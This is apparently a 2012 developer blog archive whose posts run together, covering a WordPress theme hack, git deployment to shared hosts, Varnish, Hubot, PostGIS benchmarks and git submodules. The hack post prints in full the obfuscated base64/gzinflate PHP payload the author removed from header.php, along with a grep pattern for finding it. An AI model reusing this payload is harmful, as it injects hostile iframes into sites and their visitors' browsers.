http://blog.talentopoly.com/2012/07/26/featured-desktop-arlo-carreon/

XSS Hack (cross site scripting)

If you do a search for the offending website snxstat77.info you will not find anything. So I looked at the live DOM via chrome tools (or you can use firebug) to search for the site, and sure enough I found it.



At this point I knew there was some Javascript being loaded that was dynamically creating this iframe. I searched the DOM in fear that it might be a 3rd party wordpress plugin gone rogue, but found nothing. Then I took a look at my header.php for my theme, BINGO! I see this confuscated block of characters that screams machine generated. Turns out it’s some sort of hash that is being decoded and creates a script tag which in turn injects an iframe into the DOM. So I quickly removed it and saw the warning go away. Hopefully this post helps others locate a similar problem with their site. Here is the code that I had to remove from my header.php:

#32d494#
echo(gzinflate(base64_decode("zVZtb5swEP4ts5CAotDYYF7msn2I9gv2McqHvMCgSkMCbqsm6n+fzy+EpE3Kqk2aFIh9
vrvnzvfC3bXLptryb7x5OeyyVb18fMg33F82+ZznP9Y57By0Qh6qxPOEXLbz59ttvllNymq9cnYeErTX5ZwvS2f37B7KbDTG5Ja
yV1C5bWpe85dtblgWTb5o3EPLs5+8qTa/2H6f2fO1Lf/3T7bfPi5a3jiYBCNMiOvt96xts+mMFZldNLZn1w/iNSltVnhCspmoRb
3Kbfac8bJqWZ49T4spUprQzMEY1MzYJkOBTy14KIbX2MLUwqkVphYNBSFMgBrDC5jCFFahoFiECO6OFFuBVBLo/RkzjQBFSAApx
FYoNYJ4kOhNJyHQcSKhtQmpEpNELBUAmQgoaigRqKLak3OPaHQOISiAAkuSnElGIIUNY6BMV4ZdwBl2V4nCVUbFR1cji6RXTMVU
WQAnoIJ0V0GxvFnxAy8EBpwS3/AL4FQvY61UGAJ79SIaNJS4oRFWt0y1vVi7FwPaEZoEKgAdM9beYhNWZdwVCW0YTXtZ0/Mt0bq
izgpDCborpCp+EksbKn/KKxVYqlw76pGu+IYMbOpyQH/U0QMdRx0npcvk9li6loA76iDWUrRPlX4EY4iuisrFEAsmHF3Lxj5Boi
vTw+Qdf/DAvH+/YkwxRlKPbAYkNfUwIMtDneWSGvav8Gp7MCV/pQy64ldXNJYJHPX7j4lu3JUZxDQ+K7fEPysolZ7439fUe8a/q
QDyJ6l/0greVoDybADix0XSIX1cK4NRT8up1ymGq+gV3ofyn8mTtz3wJFtOm9rfSs4LvXQQ8qe+TP/DVxx6R6wb9hFTCAWkl9/S
MFANreliv0RTx8nd76hFX8Uk5qGtGNPWFRdjD5pb3eGjPjUTkeuyom6cKotGZIThYdWI0uBLNmaV57mH+6xiVeG03BXTV9t6Lfe
Lpn6YlGLiErOWM8I35Y2DPXyzmd7PhLrXnWBjubMTy7tbPVX+Bg==")));
#/32d494#

Investigating the Hack

I am still in the middle of figuring out where the vulnerability is on my site. I recently (2 days ago) updated my WordPress install to 3.3.2 (newest) and this is the first time I have been hacked. Not sure if WordPress is to blame or not, either way I would like to find out how this happened.

Update: 1

I found this blog post that seems to explain what happened to my WordPress install. I also changed my password on my server and ftp accounts. Then I did a search to see how far this little hack has gone.

grep -R 'echo(gzinflate(base64_decode(' *

This revealed that ALL my WordPress themes were hacked.

So far it doesn’t look like a WordPress flaw, but more like my SSH/FTP account had been compromised. Then the intruder, noticed I had a WordPress site and decided to inject all my themes.

1.) Setup SSH Access with Arvixe

Make sure you have SSH access. Shared hosting accounts with Arvixe do not come with SSH access by default. You will to go to the support chat and ask for SSH access, this will only take minutes and is effective immediately.  Once they give you access, make sure you can login. Here is how you would SSH into your account with your Arvixe username and password.

ssh USER-NAME@your-domain.com
...
Enter your password: *********

Get your public key into Arvixe.Your public key is located on YOUR computer, ~/.ssh/id_rsa.pub.
Create the following file on Arvixe and copy the contents of your public key into this new file: ~/.ssh/authorized_keys.

Incase you don’t have ~/.ssh/id_rsa.pub on your computer, run ssh-keygen in your console and hit enter all the way through. At the end of that, you will have the ~/.ssh/id_rsa.pub file on your computer.

You can create a new file on Arvixe with the following command: touch ~/.ssh/authorized_keys.

Configure your repo on Arvixe. First, you need to set a config option in your Arvixe repo to accept pushes into this working directory. While SSH’d into your Arvixe account, navigate to your repo directory and run this command:

git config receive.denyCurrentBranch ignore

Finally, you need to set a git hook that will refresh your working directory after the push has been accepted. Save the following content in: PATH_TO_REPO/.git/hooks/post-receive.

#!/bin/sh
# Save this in: PATH_TO_REPO/.git/hooks/post-receive
GIT_WORK_TREE=../ git checkout -f

Then, make it executable with chmod +x PATH_TO_REPO/.git/hooks/post-receive

2.) Setup Your SSH Config Locally

Automate SSH connection for your Arvixe account.
In order to add Arvixe as a git remote, you want to setup your username as the default and you will not be using your password for authentication. You need to edit/create the file ~/.ssh/config on your computer. Then add this content.

Host your-domain.com
  User YOUR-ARVIXE-USERNAME
  PreferredAuthentications publickey

Now, you should be able to login with ssh your-domain.com without needing to type your password or include your username. If this is not the case, start over at step 1.

3.) Setup Arvixe Account as a Git Remote

Add your domain as a remote. On your computer, navigate to your git repo and run this command.

We are assuming your git repo is in WWW. In reality your repo can be anywhere on your Arvixe account, just change “www” with the correct path below.

git remote add arvixe-live your-domain.com:www/

Now, you can make your changes to your repo and when you are ready to push your changes:

git push arvixe-live master

Something to think about

With this setup it is now easy to have a “dev” site on your Arvixe account too. SSH into Arvixe and replicate your repo into a different folder (~/www/dev). Locally, setup a new remote:

git remote add arvixe-dev your-domain.com:www/dev

So, from now on you can git push arvixe-dev to test out your new changes. When you are ready to make your changes live: git push arvixe-live

How It Works

Varnish stores it’s cache in memory and not so much on the hard drive. In doing so, it is able to serve hundreds of more consecutive requests per second. This caching has other advantages like saving CPU time, file lookups and database requests for content that is not particularly “real-time”. Let’s take a look at what a web request might look like when using varnish.

Web Requests on a Server With Varnish

Web requests will most often produce the same repeated response. In which case the response should be cached and servered quickly without consuming additional resources. In the case that a response has not been cached, the request is allowed to pass through to necessary resources in order to produce a cacheable response.

Web Requests on a Server Without Varnish

Multiple PHP threads and database connections may produce high CPU consumption and increase response latency.

Additional Info

Varnish can also pass along http headers to your server side scripts (e.g. session objects) or unique HTTP headers to your client side. This unique functionality can be added using their javascript like language called VCL. You can also use raw C to connect to other existing C libraries.

The above images can be reused and copied. They are on a public Google Doc.

1.) Setup Hostgator

Make sure you have SSH access. Shared hosting accounts with Hostgator do not come with SSH access by default. You will have to go to the support chat and ask for SSH access or go here and ONLY follow instructions for “Shared Web Hosting”, this will only take minutes and is effective immediately.  Once they give you access, make sure you can login. SSH port for hostgator is 2222. Here is how you would SSH into your account with your Hostgator username and password.

ssh USER_NAME@your-domain.com -p 2222
...
Enter your password: *********

Get your public key into Hostgator.Your public key is located at ~/.ssh/id_rsa.pub (on your workstation), copy the contents and paste it in a file on Hostgator: ~/.ssh/authorized_keys.

Incase you don’t have ~/.ssh/id_rsa.pub on your workstation, run ssh-keygen in your console and hit enter all the way through. At the end of that, you will have the ~/.ssh/id_rsa.pub file on your computer.

If ~/.ssh/authorized_keys does not exist on Hostgator, then create it with touch ~/.ssh/authorized_keys.

Configure your repo on hostgator. First, you need to set a config option in your hostgator repo to accept pushes into this working directory. SSH into hostgator, navigate to your repo directory and run this command:

git config receive.denyCurrentBranch ignore

Finally, you need to set a git hook that will refresh your working directory after the push has been accepted. Save the following content in: PATH_TO_REPO/.git/hooks/post-receive.

#!/bin/sh
# Save this in: PATH_TO_REPO/.git/hooks/post-receive
GIT_WORK_TREE=../ git checkout -f

Then, make it executable with chmod +x PATH_TO_REPO/.git/hooks/post-receive

2.) Setup Your SSH Config Locally

Automate SSH connection for Hostgator. In order to add hostgator as a git remote, you need to automate the fact that you will be connecting to hostgator via port 2222 and you will not be using your password for authentication. Your need to edit/create the file ~/.ssh/config on your computer. Then add this content.

Host your-domain.com
  Port 2222
  PreferredAuthentications publickey

Now, you should be able to login with ssh user_name@your-domain.com without needing to type your password. If this is not the case, start over at step 1.

3.) Setup Hostgator as a Remote

Add your domain as a remote. On your computer, navigate to your git repo and run this command:

git remote add hostgator-live user-name@your-domain.com:www/site-directory

Now, you can make you changes to your repo and when you are ready to push your changes:

git push hostgator-live

Something to think about

With this setup it is now easy to have a “dev” site on your hostgator account too. SSH into hostgator and replicate your repo into a different folder (~/www/dev). Locally, setup a new remote:

git remote add hostgator-dev user-name@your-domain.com:www/dev

So, from now on you can git push hostgator-dev to test out your new changes. When you are ready to make your changes live: git push hostgator-live

Pre and Code Tags In Github

Not sure when/where I found that you could use <pre> and <code> tags, but I liked the idea. The only problem was syntax highlighting, but recently I decided to inspect their markup to see how they convert they fenced option into HTML. In doing so, I found out what attributes you need.

<pre lang="javascript"><code>
if(foo==true)
  alert('yes sir');
else
  alert('boo scenario');
</code></pre>

This method is my favored one thus far. Not buggy and you know what to expect. Here is an example of a huge block of C# code that ONLY worked with these <pre> and <code> tags, all documented methods bugged out.

Documented Markdown For Code

There are 2 documented ways to do code blocks in Github’s markdown.

1.) 4 Space Indent

In my case, this is awkward. Especially when pasting in a block of code.

    if(foo==true)
      alert('yes sir');
    else
      alert('boo scenario');

2.) Fenced code block with `

This is the format I’ve used the most, seems easier than the 4 space indent. You need to start with 3 ```language and end the fence with another 3 ```. This method has proven to be buggy.

```javascript
if(foo==true)
  alert('yes sir');
else
  alert('boo scenario');
```

Gtalk Adapter

If you are interested in using this adapter in your private Hubot and do not want to upgrade Hubot to v1.1.9, you can download the adapter at my repo.

The beauty of the Gtalk adapter is that is only depends the node-xmpp node package, which is already part of hubot. You can literally drop in that adapter and you are good to go.

Environment Variables

Even though the official Hubot wiki has a page about this adapter, here are the two environment variables you need:

export HUBOT_GTALK_USERNAME="example@domain.com"
export HUBOT_GTALK_PASSWORD="account password"

Enjoy

If you have any issues with the Gtalk adapter or wish to submit a feature request, feel free to create an issue on Hubot’s main repo and mention @mexitek in the description or the comments. In mentioning my name I will be notified and Github staff will bug me to support the adapter.

Incase you have no idea what Hubot is, and you are genuinely interested, you can read Github developers talk about him here and here.

Have you deployed to no.de before? Familiar enough with Hubot? Skip this tutorial and see exactly what you need from my gist.

1.) Before we start

• Create an account on no.de
• Fire up a node.js smartmachine.
• Add ssh config options to your ~/.ssh/config file. Instructions on your machine’s dashboard.
• Add you public ssh key to your account. Instructions here.

Make sure you can ssh into your node machine.

ssh useraccount.no.de

2.) Adding environment variables

A hubot adapter is basically the type of chat environment you want Hubot to connect to: Campfire, IRC, Gtalk, Email, XMPP, hipchat, etc. Every adapter has it’s own environment variables that need to be added to your server.

You can see some examples on Hubot’s Wiki on adapters. Here is the page for Campfire’s Adapter.

The user that will be running node.js applications on your no.de server is “node-service”. In order to add environment variables for this user we must ssh into your machine with the admin account.

ssh admin@username.no.de

Once you have logged in, you need to edit the following file: /home/node/node-service/profile and paste in your environment variables.

sudo vim /home/node/node-service/profile

In the vim editor, press “i” to insert. Type in (or paste on Mac) your environment variables. When finished press “esc”, “:w!”+enter to save and finally “:q”.

# Hubot stuff
export HUBOT_CAMPFIRE_TOKEN="token here"
export HUBOT_CAMPFIRE_ROOMS="roomID,roomID,roomID"
export HUBOT_CAMPFIRE_ACCOUNT="campfire subdomain"

3.) Download Hubot

You can get the latest version of Hubot from the repo’s download page. Unzip the package.

4.) Prepare Hubot for No.de

No.de looks for a file named server.js that will kick start your app upon a git push. Hubot has no such file and is written in coffeescript rather than plain Javascript. We must add a line to package.json that will tell No.de how to launch our application. Also, we need to add a file called config.json that will tell No.de which nodejs version to use.

Create config.json

It only need to contain the following.

{"version": "v0.4.11"}

Edit package.json

Add the following line to the bottom of the file. This will launch Hubot’s Campfire adapter.

,"scripts": { "start": "./bin/hubot --adapter campfire" }

5.) Push Hubot to No.de

You need to step into that folder to create a new git repo, create a git remote for no.de and finally push your repo to No.de.

git init
git remote add no.de username.no.de:repo
git push no.de master
... lots of output should end with:
win!

That’s it.

Now go to your Campfire chatroom and mess with Hubot.

Postgre Function

After abandoning the quest for a huge dataset, I figured I would create my own Postgre function. Half an hour of troubleshooting/trial and error resulted in the following.

How To Use It

1.) Your Table

The function looks to insert records into a table called points with 2 column location and name_of_place, the name of the place being a string and the location a geo_point.

2.) Create a Function

I created a function in my postgre database and named it fillPoints. Copy and paste the above code as your function’s structure and save.

If you would like to use this function to fill your own data table with predefined columns. Simply edit the INSERT statement to match your structure.

3.) Use The Function

Now that everything is in place, lets fill that table. All you need to do is execute a select statement that call the function and pass the number of records you want to create as a parameter. I used an Amazon EC2 micro instance for this test so filling my table with 1 million records took about 9 minutes.

SELECT fillPoints(1000000);

Benchmark: 1 Million Records

-- This will search 1/4 of the overall region.
-- My Result: 249,881 points found in ~800ms
SELECT count(*)
FROM points
WHERE ST_Within( location, 'POLYGON((0 0, 0 180, 180 180, 180 0, 0 0))' );

-- This will search 1/8 of the overall region.
-- My Result: 62,420 points found in ~200ms
SELECT count(*)
FROM points
WHERE ST_Within( location, 'POLYGON((0 0, 0 90, 90 90, 90 0, 0 0))' );

Conclusion

To say the least I was totally surprised by the benchmark. The latter is so amazing! 64,000 records in 200ms is an incredible speed for a spatial querying app/api. This experiment with PostGIS was sparked by the idea of a mobile listings application. I will need a speedy spatial database engine behind my application. I am happy with the performance I’ve seen thus far in PostGIS. Perfect opensource solution for a small one-man project like mine.

This would also be a great alternative for REALTOR websites. Where an MLS can have 60,000 listings at any one time. Searching 60,000 records using spatial data (search homes inside polygon) would be a simple task that could be done in much less than 100ms.

Scenario

We’ll be working with the following scenario. You have a php website that has 2 external repos in the root; jQuery and an S3 PHP class.

Git Submodules

First off, a git repo inside another is called a submodule. Essentially, submodules are links to the external repos. Also, submodules’ content are ignored when creating a SHA1 out of the working directory’s content. That’s why submodule folders are empty when you first clone a repo with a submodule.

Adding a submodule

To add a submodule all you have to do is use the submodule command: git submodule add. Let’s play pretend with our examples.

git submodule add git://github.com/jquery/jquery.git
git submodule add git://github.com/tpyo/amazon-s3-php-class.git s3-class
git add .
git commit -m "Added two new submodules."

Adding submodules into your existing repo will create a new file .gitmodules which contains the directories and URLs to these external repos.

Cloning a Repo with Submodules

Like I mentioned earlier the content inside a submodule is not calculated in your commit’s SHA1s. With this said keep in mind that after cloning a project with submodule, those submodule directories are completely empty. In order to copy down the content of your submodules you need to do a git submodule init.

git clone git@github.com:mexitek/fake-repo-whatevs.git
...some output about the cloning ...
cd fake-repo-whatevs/
git submodule init
... some output on initializing ALL the submodules ...
git submodule update
... some output on downloading submodule contents ...

Updating Submodules For Your Parent Repo

Updating submodules is not exactly that straight forward and is more involved. We actually have to tell our parent repo we want to use a new version of a submodule, so a commit is required to acknowledge this change.

cd PATH_TO_SUBMODULE/
git pull origin master # <-- don't forget master!!
cd PATH_TO_PARENT_REPO/
git commit -am "Upgrading our Submodules"
git push origin

It is important to remember to go to the submodule directory to pull updates for your submodule. Then also to navigate back to the parent repo directory and make your commit. This will tell all other clones of your parent repo that we have upgraded our submodule.

Pulling Submodule Updates From Parent Repo

All other clones of your parent repo will have to execute the following.

git pull origin
git submodule update

The initial pull detects a change and pulls a reference down to the latest state of the submodule, then the git submodule update actually pulls down the new content for the submodule.

Github is your friend

I like how this information is represented in Github.com’s UI. They give you a different icon to represent a submodule, link the name to the original submodule profile and they provide the last commit you have in your repo.